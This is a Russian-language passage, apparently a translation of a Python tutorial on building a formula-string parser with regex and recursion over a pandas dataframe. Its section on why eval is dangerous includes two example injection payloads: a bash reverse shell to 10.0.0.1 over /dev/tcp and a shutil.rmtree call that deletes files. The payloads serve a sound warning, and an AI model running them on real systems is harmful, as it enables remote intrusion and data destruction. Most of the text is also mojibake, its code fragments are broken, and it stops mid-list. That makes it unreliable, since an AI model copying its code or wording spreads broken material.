ΠΌΠ΅ΡΡΡΠ΅Π² Π½Π° ΡΠΎ, ΡΡΠΎΠ±Ρ ΠΏΡΠΎΠ±ΠΎΠ²Π°ΡΡ ΠΌΠ½ΠΎΠΆΠ΅ΡΡΠ²ΠΎ ΡΠ°Π·Π½ΡΡ ΠΌΠ΅ΡΠΎΠ΄ΠΎΠ² ΠΈ ΠΏΠΈΡΠ°ΡΡ ΠΊΠ°ΠΊΠΎΠΉ-ΡΠΎ Π±Π΅Π·ΡΠΌΠ½ΠΎ Π½Π΅ΡΠΈΡΠ°Π΅ΠΌΡΠΉ ΠΊΠΎΠ΄, ΠΏΡΠ΅ΠΆΠ΄Π΅ ΡΠ΅ΠΌ Ρ Π½Π°ΠΊΠΎΠ½Π΅Ρ ΠΏΠΎΠ½ΡΠ» ΡΡΠΎ, ΠΈ ΡΠ΅ΠΏΠ΅ΡΡ Ρ Π½Π΅ Π΄ΡΠΌΠ°Ρ Π΄Π²Π°ΠΆΠ΄Ρ ΠΎ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠΌ Π°Π½Π°Π»ΠΈΠ·Π΅ ΡΠ°ΠΉΠ»Π°.ΠΡΠ°ΠΊ, Ρ Π½Π°Π΄Π΅ΡΡΡ, ΡΡΠΎ ΠΌΠ½Π΅ ΡΠ΄Π°Π»ΠΎΡΡ ΡΡΠΊΠΎΠ½ΠΎΠΌΠΈΡΡ Π²Π°ΠΌ Π²ΡΠ΅ΠΌΡ. ΠΠΎΠ»ΡΡΠ°ΠΉΡΠ΅ ΡΠ΄ΠΎΠ²ΠΎΠ»ΡΡΡΠ²ΠΈΠ΅ ΠΎΡ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΡΠ΅ΠΊΡΡΠ° Ρ ΠΏΠΎΠΌΠΎΡΡΡ Python!
ΠΠ°ΠΊ Π½Π°ΠΏΠΈΡΠ°ΡΡ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ ΡΡΡΠΎΠΊΠΈ ΡΠΎΡΠΌΡΠ» Π½Π° Python | ΠΡΠΈΡΡΠΎΡΠ΅Ρ Π’Π°ΠΎ
ΠΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΈΡ ΡΠΎΡΠΌΡΠ»Ρ Π² ΡΡΡΠΎΠΊΠΎΠ²ΠΎΠΌ ΡΠΎΡΠΌΠ°ΡΠ΅ Π΄Π»Ρ Π΅Π΅ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ
ΠΡΠ°ΠΊ, ΡΡΠΎ Ρ ΠΈΠΌΠ΅Ρ Π² Π²ΠΈΠ΄Ρ ΠΏΠΎΠ΄ Β«Π‘ΡΡΠΎΠΊΠΎΠΉ ΡΠΎΡΠΌΡΠ»ΡΒ» Π·Π΄Π΅ΡΡ? ΠΠΌΠ΅ΡΡΠΎ ΠΊΠΎΠ΄Π° a + (b + c)
ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡΠΎΡΠΈΡΠ°ΡΡ Β«a + (b + c)Β» ΠΊΠ°ΠΊ ΡΡΡΠΎΠΊΡ, Π° Π·Π°ΡΠ΅ΠΌ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠΈΡΠΎΠ²Π°ΡΡ Π΅Π΅ Π² Python, Π²ΠΊΠ»ΡΡΠ°Ρ:
- ΠΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΎΡΠ½ΠΎΠ²Π½ΡΡ
ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠΎΠ²
+
,-
,*
,/
- ΠΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΏΡΠΈΠΎΡΠΈΡΠ΅ΡΠ° Π²ΡΡΠΈΡΠ»Π΅Π½ΠΈΡ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ
*
ΠΈ/
, ΡΠ»Π΅Π΄ΡΠ΅Ρ Π²ΡΡΠΈΡΠ»ΡΡΡ ΠΏΠ΅ΡΠ΅Π΄ Π»ΡΠ±ΡΠΌΠΈ+
ΠΈ-
. - Π§ΡΠΎ ΡΠ°ΠΊΠΎΠ΅ ΠΊΡΡΠ³Π»ΡΠ΅ ΡΠΊΠΎΠ±ΠΊΠΈ ΠΏΡΠΈ ΡΠ°ΡΡΠ΅ΡΠ΅ ΠΏΡΠΈΠΎΡΠΈΡΠ΅ΡΠ°.
- ΠΠ±ΡΠΈΠ΅ ΡΠ²Π΅Π΄Π΅Π½ΠΈΡ ΠΎ Π½Π΅ΠΊΠΎΡΠΎΡΡΡ
ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠ°Ρ
Π±ΠΎΠ»Π΅Π΅ Π²ΡΡΠΎΠΊΠΎΠ³ΠΎ ΡΡΠΎΠ²Π½Ρ, ΡΠ°ΠΊΠΈΡ
ΠΊΠ°ΠΊ ΡΠΈΠ³ΠΌΠ°. ΠΠ΄Π΅ΡΡ ΠΌΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌ
sum ()
,avg ()
,min ()
ΠΈmax ()
. - ΠΠ°ΠΊΠΎΠ½Π΅Ρ, Π²Ρ ΡΠΌΠΎΠΆΠ΅ΡΠ΅ Π½Π°ΠΉΡΠΈ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ Π½Π° ΠΎΡΠ½ΠΎΠ²Π΅ ΠΈΠΌΠ΅Π½ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ
, ΠΊΠΎΡΠΎΡΡΠΌΠΈ Π² ΠΏΡΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²ΡΡΠ΅ ΠΏΡΠΈΠΌΠ΅ΡΠ΅ ΡΠ²Π»ΡΡΡΡΡ
a
,b
ΠΈc
. ΠΠΎΠ½Π΅ΡΠ½ΠΎ, Π½Π° ΠΏΡΠ°ΠΊΡΠΈΠΊΠ΅ Β«ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΠ΅Β» Π±ΡΠ΄ΡΡ Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½ΡΠΌΠΈ.
ΠΡΠ½ΠΎΠ²Π½Π°Ρ ΡΡΡΠ°Π½ΠΈΡΠ° ΠΌΠΎΠ΅Π³ΠΎ GitHub ΡΠ°Π·ΠΌΠ΅ΡΠ΅Π½Π° Π² ΠΊΠΎΠ½ΡΠ΅ ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠΈ.ΠΡΠ°ΠΊ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΠ΅ ΠΌΠ½Π΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΠ½ΠΈΠΌΠΊΠΈ ΡΠΊΡΠ°Π½Π° ΠΈΠ· Jupyter Notebook Π΄Π»Ρ ΠΏΠΎΡΠ°Π³ΠΎΠ²ΠΎΠΉ ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΠΈ, ΠΊΠΎΡΠΎΡΡΡ Π»Π΅Π³ΡΠ΅ ΡΠΈΡΠ°ΡΡ.
ΠΠ΅ΡΠ΅Π΄ ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΠ΅ΠΉ Ρ Ρ ΠΎΡΠ΅Π» Π±Ρ ΠΎΠ±ΡΡΠ΄ΠΈΡΡ, ΠΏΠΎΡΠ΅ΠΌΡ Π½Π°ΠΌ Π½ΡΠΆΠ½ΠΎ ΠΏΠΈΡΠ°ΡΡ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠΉ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ, Π½Π΅ΡΠΌΠΎΡΡΡ Π½Π° ΡΠΎ, ΡΡΠΎ ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»ΡΠ½ΠΎ Π΅ΡΡΡ Π΄ΡΡΠ³ΠΈΠ΅ ΡΠΏΠΎΡΠΎΠ±Ρ ΡΠ΄Π΅Π»Π°ΡΡ ΡΡΠΎ.
ΠΡΠΎ-ΡΠΎ ΠΌΠΎΠΆΠ΅Ρ ΠΏΡΠ΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡΡ, ΡΡΠΎ ΡΡΠΎ ΠΌΠΎΠΆΠ΅Ρ ΡΠ΄Π΅Π»Π°ΡΡ ΡΡΠ½ΠΊΡΠΈΡ eval
.
ΠΠ΄Π½Π°ΠΊΠΎ Π±ΡΠ»ΠΎ Π΄ΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΡΡΠΎ ΡΡΠ½ΠΊΡΠΈΡ eval
ΠΎΡΠ΅Π½Ρ ΠΎΠΏΠ°ΡΠ½Π°, ΡΡΠΎ ΠΌΠΎΠΆΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ ΡΠΎΠ»ΡΠΊΠΎ Π² ΡΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠ°Π»ΡΠ½ΡΡ
ΡΠ΅Π»ΡΡ
ΠΈ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΡΠ²Π»ΡΡΡΡΡ Π² ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΡΡΠ²Π΅Π½Π½ΠΎΠΉ ΡΡΠ΅Π΄Π΅.
ΠΡΠΈΡΠΈΠ½Π° 1: Ρ Π°ΠΊΠ΅ΡΡ ΠΌΠΎΠ³ΡΡ Π·Π°ΠΏΡΡΠΊΠ°ΡΡ Π»ΡΠ±ΡΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ
ΠΠ°ΠΊ ΡΠΎΠ»ΡΠΊΠΎ Ρ
Π°ΠΊΠ΅Ρ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ, ΡΡΠΎ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° Python ΡΠΈΡΠ°Π΅Ρ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΡΡΡΠΎΠΊΠΈ ΠΈ Π·Π°ΠΏΡΡΠΊΠ°Π΅Ρ ΠΈΡ
Π² ΡΡΠ½ΠΊΡΠΈΠΈ eval
, ΡΡΡ Π΄ΡΡΡ Π² Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π΄Π»Ρ Π·Π°ΠΏΡΡΠΊΠ° ΠΏΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈ Π²ΡΠ΅Π³ΠΎ.
ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, Π²ΡΠΏΠΎΠ»Π½ΠΈΡΠ΅ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ, ΡΠ°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ
eval ("__ import __ ('os'). System ('bash -i> & /dev/tcp/10.0.0.1/8080 0> & 1') #")
Π·Π°ΠΏΡΡΡΠΈΡΡ ΠΎΠΏΠ°ΡΠ½ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π΄Π»Ρ ΡΠ΄Π°Π»Π΅Π½ΠΈΡ Π²Π°ΠΆΠ½ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ²
eval ("__ import __ ('shutil').rmtree ('/ an / important / path /') ")
ΠΡΠΈΡΠΈΠ½Π° 2: ΠΎΠ½ Π½Π°ΡΡΡΠ°Π΅Ρ Π€ΡΠ½Π΄Π°ΠΌΠ΅Π½ΡΠ°Π»ΡΠ½ΡΠΉ ΠΏΡΠΈΠ½ΡΠΈΠΏ ΡΠ°Π·ΡΠ°Π±ΠΎΡΠΊΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Π΅ΡΠΏΠ΅ΡΠ΅Π½ΠΈΡ
Π’ΠΎ Π΅ΡΡΡ Π²Π°Ρ ΠΈΡΡ ΠΎΠ΄Π½ΡΠΉ ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±ΡΡΡ ΡΠ°ΠΌΠΎΠ΄ΠΎΡΡΠ°ΡΠΎΡΠ½ΡΠΌ ΡΠΎ Π²ΡΠ΅ΠΌΠΈ Π΅Π³ΠΎ ΡΡΠ½ΠΊΡΠΈΡΠΌΠΈ ΠΈ ΡΡΠ½ΠΊΡΠΈΡΠΌΠΈ. ΠΠ½ ΠΏΠΎΠ»Π°Π³Π°Π΅ΡΡΡ Π½Π° Π½Π΅ΠΊΠΎΡΠΎΡΡΠΉ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠΉ ΡΡΠ°ΡΠΈΡΠ΅ΡΠΊΠΈΠΉ ΠΈΡΡΠΎΡΠ½ΠΈΠΊ ΠΊΠ°ΠΊ ΡΠ°ΡΡΡ Π²Π°ΡΠ΅ΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, ΠΊΠΎΡΠΎΡΡΠΉ ΠΌΠΎΠΆΠ΅Ρ Π»Π΅Π³ΠΊΠΎ Π²ΡΠΉΡΠΈ ΠΈΠ·-ΠΏΠΎΠ΄ ΠΊΠΎΠ½ΡΡΠΎΠ»Ρ, ΠΈ ΡΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»ΡΠ½ΠΎΡΡΡ Π±ΠΎΠ»ΡΡΠ΅ Π½Π΅ Π±ΡΠ΄Π΅Ρ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠΉ.
ΠΡΠΈΡΠΈΠ½Π° 3: ΠΡΠΎ ΠΏΡΠΈΠ²ΠΎΠ΄ΠΈΡ ΠΊ ΠΏΠ»ΠΎΡ ΠΎΠΉ ΡΠ΅ΠΌΠΎΠ½ΡΠΎΠΏΡΠΈΠ³ΠΎΠ΄Π½ΠΎΡΡΠΈ
ΠΠ΅Π·Π°Π²ΠΈΡΠΈΠΌΠΎ ΠΎΡ ΡΠΎΠ³ΠΎ, Π½Π°ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΏΠ»ΠΎΡ
ΠΊΠΎΠ΄, ΠΊΠΎΡΠΎΡΡΠΉ ΠΌΡ Π½Π°ΠΏΠΈΡΠ°Π»ΠΈ , ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ Π»ΠΈΠ±ΠΎ ΡΠ΅ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΎΠ²Π°ΡΡ Π΅Π³ΠΎ, Π»ΠΈΠ±ΠΎ ΠΈΡΠΏΡΠ°Π²ΠΈΡΡ ΠΎΡΠΈΠ±ΠΊΠΈ Π² Π½Π΅ΠΌ.Π§Π΅ΠΌ Π±ΠΎΠ»ΡΡΠ΅ Ρ Π½Π°Ρ Β«ΠΈΡΠ΅ΡΠ°ΡΠΈΠΉΒ», ΡΠ΅ΠΌ Π±Π»ΠΈΠΆΠ΅ Π½Π°ΡΠ° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° ΠΊ Β«ΠΈΠ΄Π΅Π°Π»ΡΠ½ΠΎΠΉΒ». ΠΠ΄Π½Π°ΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ eval
ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ Π²Π°ΡΠ΅ΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ΅ Π²ΡΠ΅Π³Π΄Π° ΠΈΠΌΠ΅ΡΡ ΡΡΠΎ-ΡΠΎ Π²ΡΠΎΠ΄Π΅ ΠΎΠ±ΡΡΠ½ΠΎΠ³ΠΎ ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠ³ΠΎ ΡΠΈΠΊΠ»Π° ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ, ΡΡΠΎ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ Π΅Π΅ Β«ΠΈΠ΄Π΅Π°Π»ΡΠ½ΠΎΠΉΒ».
ΠΡΠΈΡΠΈΠ½Π° 4: ΠΠΈΠ·ΠΊΠ°Ρ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΠ΅Π»ΡΠ½ΠΎΡΡΡ
ΠΠ°ΡΠ° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° Π±ΡΠ΄Π΅Ρ ΡΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡΠΎΠ²Π°Π½Π° Π΄ΠΎ ΡΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΌΡ Π΅Π΅ Π·Π°ΠΏΡΡΡΠΈΠΌ. ΠΠ΄Π½Π°ΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ eval
ΠΏΡΠΈΠ²Π΅Π΄Π΅Ρ ΠΊ ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡΠΈΠΈ Β«Π½Π° Π»Π΅ΡΡΒ» ΠΏΡΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²ΡΠ·ΠΎΠ²Π΅ ΡΡΠ½ΠΊΡΠΈΠΈ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΠ΅Π»ΡΠ½ΠΎΡΡΡ Π±ΡΠ΄Π΅Ρ Π½ΠΈΠΆΠ΅ ΠΈ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡΠ΄Π΅Ρ ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠΉ ΠΏΠΎ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ.
Π’Π΅ΠΏΠ΅ΡΡ ΠΎΠΏΡΠ΅Π΄Π΅Π»ΠΈΠΌ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ, ΠΊΠΎΡΠΎΡΡΡ Π½ΡΠΆΠ½ΠΎ ΡΠ΅ΡΠΈΡΡ.
ΠΡΠ΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ Π½Π°Ρ Π΅ΡΡΡ ΡΠ°ΠΊΠΎΠΉ ΡΡΠ΅ΠΉΠΌ Π΄Π°Π½Π½ΡΡ pandas, ΠΊΠΎΡΠΎΡΡΠΉ ΡΡΠΈΡΠ°Π΅ΡΡΡ Π½Π°ΡΠΈΠΌΠΈ Π½Π΅ΠΎΠ±ΡΠ°Π±ΠΎΡΠ°Π½Π½ΡΠΌΠΈ Π΄Π°Π½Π½ΡΠΌΠΈ.
Π’Π΅ΠΏΠ΅ΡΡ Ρ Π½Π°Ρ Π΅ΡΡΡ ΡΠ°ΠΊΠ°Ρ ΡΠΎΡΠΌΡΠ»Π°, ΠΊΠ°ΠΊ ΡΡΠΌΠΌΠ° (tag1) + ΡΡΠΌΠΌΠ° (tag2)
, ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½Π°Ρ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ (ΡΡΠΌΠΌΠ° (tag1) + avg (tag2)) / avg (tag3) * 100 + max ( tag4) -ΠΌΠΈΠ½ (tag5)
.
ΠΠ°Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠ°ΡΠΏΠΎΠ·Π½Π°Π²Π°ΡΡ Π²ΡΠ΅ ΠΌΠ°ΡΠ΅ΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ Π² ΡΠΎΡΠΌΡΠ»Π΅, Π° Π·Π°ΡΠ΅ΠΌ ΠΏΠΎΠ»ΡΡΠ°ΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΡ ΠΈΠ· ΠΊΠ°Π΄ΡΠ° Π½Π΅ΠΎΠ±ΡΠ°Π±ΠΎΡΠ°Π½Π½ΡΡ Π΄Π°Π½Π½ΡΡ Π΄Π»Ρ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΡΡΠΎΠ³ΠΎ Π²ΡΡΠΈΡΠ»Π΅Π½ΠΈΡ.
ΠΠ±ΡΠ°ΡΠΈΡΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΡΡΠΎ Π² ΡΡΠΎΠΉ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ΅ Π΅ΡΡΡ ΡΠΊΡΡΡΡΠΉ ΡΡΠ°ΠΏ.Π’ΠΎ Π΅ΡΡΡ Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΡΠ΅Π³Π° Π΅ΡΡΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ Π·Π½Π°ΡΠ΅Π½ΠΈΠΉ, ΠΏΠΎΡΡΠΎΠΌΡ Π½Π°ΠΌ Π½ΡΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π²ΡΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΡ Π² ΡΠΏΠΈΡΠΊΠ΅, Π° Π·Π°ΡΠ΅ΠΌ Π°Π³ΡΠ΅Π³ΠΈΡΠΎΠ²Π°ΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΡ.
Π’Π°ΠΊΠΆΠ΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΡΡΡ, ΡΡΠΎ Π΄Π»Ρ ΡΠ΅ΡΠ΅Π½ΠΈΡ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ ΠΏΠΎΡΡΠ΅Π±ΡΡΡΡΡ Π΄Π²Π° ΠΎΡΠ½ΠΎΠ²Π½ΡΡ ΠΌΠ΅ΡΠΎΠ΄Π°:
- Π Π΅Π³ΡΠ»ΡΡΠ½ΡΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ (ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅)
- Π Π΅ΠΊΡΡΡΠΈΠ²Π½ΡΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ
Π Π΅ΡΠ΅Π½ΠΈΠ΅ Π±ΡΠ΄Π΅Ρ ΡΠ»ΠΎΠΆΠ½ΡΠΌ. ΠΡΠ°ΠΊ, Π΄Π°Π²Π°ΠΉΡΠ΅ ΡΠ΅ΡΠΈΠΌ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ ΠΏΠΎΡΡΠ°ΠΏΠ½ΠΎ.
Π¨Π°Π³ 1. Π’ΠΎΠ»ΡΠΊΠΎ Π°Π³ΡΠ΅Π³ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅
Π ΠΏΠΎΠΊΠ° Π΄Π°Π²Π°ΠΉΡΠ΅ ΠΏΡΠΎΠΈΠ³Π½ΠΎΡΠΈΡΡΠ΅ΠΌ ΡΠ»ΠΎΠΆΠ½ΡΡ ΡΠΎΡΠΌΡΠ»Ρ.\ (\)] + Π±ΡΠ΄Π΅Ρ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΠΎΠ²Π°ΡΡ 1 ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΈΠΌ ΡΠΈΠΌΠ²ΠΎΠ»Π°ΠΌ, ΠΊΠΎΡΠΎΡΡΠ΅ Π½Π΅ ΡΠ²Π»ΡΡΡΡΡ Π½ΠΈ (
, Π½ΠΈ )
, ΠΏΠΎΡΠΎΠΌΡ ΡΡΠΎ ΠΌΡ Π½Π΅ Ρ
ΠΎΡΠΈΠΌ, ΡΡΠΎΠ±Ρ ΠΎΠ½ ΡΠΎΠ²ΠΏΠ°Π΄Π°Π» Ρ ΡΠ΅ΠΌ-ΡΠΎ Π²ΡΠΎΠ΄Π΅ ΡΡΠΌΠΌΡ (tag1 + (tag2-tag3))
.
f [4: -1]
ΡΠ΄Π°Π»ΠΈΡ Β«ΡΡΠΌΠΌΡ (Β» Ρ Π½Π°ΡΠ°Π»Π° ΠΈ Β«)Β» Ρ ΠΊΠΎΠ½ΡΠ°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, ΡΡΡΠΎΠΊΠ° tag1
Π±ΡΠ΄Π΅Ρ ΠΏΠ΅ΡΠ΅Π΄Π°Π½Π° ΡΠ°ΠΌΠΎΠΉ ΡΡΠ½ΠΊΡΠΈΠΈ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΈΠΈ
Π΄Π»Ρ ΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΉ ΡΠ΅ΠΊΡΡΡΠΈΠΈ. f
Π±ΡΠ΄Π΅Ρ ΡΡΡΠΎΠΊΠ° tag1
, ΠΏΠ΅ΡΠ΅Π΄Π°Π½Π½Π°Ρ ΠΈΠ· ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠ΅ΠΉ ΡΠ΅ΠΊΡΡΡΠΈΠΈ, ΠΈ ΡΡΠΎ Π±ΡΠ΄Π΅Ρ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΠΎΠ²Π°ΡΡ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠΌΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ r β\ Atag [\ d] + \ Zβ
. df [df.tag == 'tag1'] ['value']. ββValues ββ
Π΄ΠΎ ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠ΅ΠΉ ΡΠ΅ΠΊΡΡΡΠΈΠΈ, ΠΊΠΎΡΠΎΡΠ°Ρ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»ΡΠ΅Ρ ΡΠΎΠ±ΠΎΠΉ ΠΌΠ°ΡΡΠΈΠ² Π²ΡΠ΅Ρ
Π·Π½Π°ΡΠ΅Π½ΠΈΠΉ tag1 Π² ΠΊΠ°Π΄ΡΠ΅ Π½Π΅ΠΎΠ±ΡΠ°Π±ΠΎΡΠ°Π½Π½ΡΡ
Π΄Π°Π½Π½ΡΡ
. np.sum (...)
ΠΌΠ°ΡΡΠΈΠ²Π°, Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅ΠΌΠΎΠ³ΠΎ ΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΉ ΡΠ΅ΠΊΡΡΡΠΈΠ΅ΠΉ. ΠΡΠ°ΠΊ, ΡΠΊΠ°Π»ΡΡΠ½ΠΎΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ Π±ΡΠ΄Π΅Ρ Π²ΠΎΠ·Π²ΡΠ°ΡΠ΅Π½ΠΎ. Π’ΠΎΡΠ½ΠΎ ΡΠ°ΠΊ ΠΆΠ΅ ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡΡ Π΅ΡΠ΅ elif
ΡΡΠ»ΠΎΠ²ΠΈΠΉ Π΄Π»Ρ ΠΎΡΡΠ°Π»ΡΠ½ΡΡ
3 ΡΠΈΠΏΠΎΠ² Π°Π³ΡΠ΅Π³Π°ΡΠΎΠ².
Π¨Π°Π³ 2. ΠΠΏΠ΅ΡΠ°ΡΠΎΡΡ ΠΌΠ΅ΠΆΠ΄Ρ Π°Π³ΡΠ΅Π³Π°ΡΠ°ΠΌΠΈ
Π’Π΅ΠΏΠ΅ΡΡ Π΄Π°Π²Π°ΠΉΡΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΊΡ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρ Π°Π³ΡΠ΅Π³Π°ΡΠ°ΠΌΠΈ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ sum (tag1 + tag2)
.
ΠΠ΄Π΅Ρ ΡΠ°ΠΊΠΎΠ²Π°:
- ΠΠ°ΠΉΠ΄ΠΈΡΠ΅ Π² ΡΠΎΡΠΌΡΠ»Π΅ Π»ΡΠ±ΡΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΡ
+, -, *, /
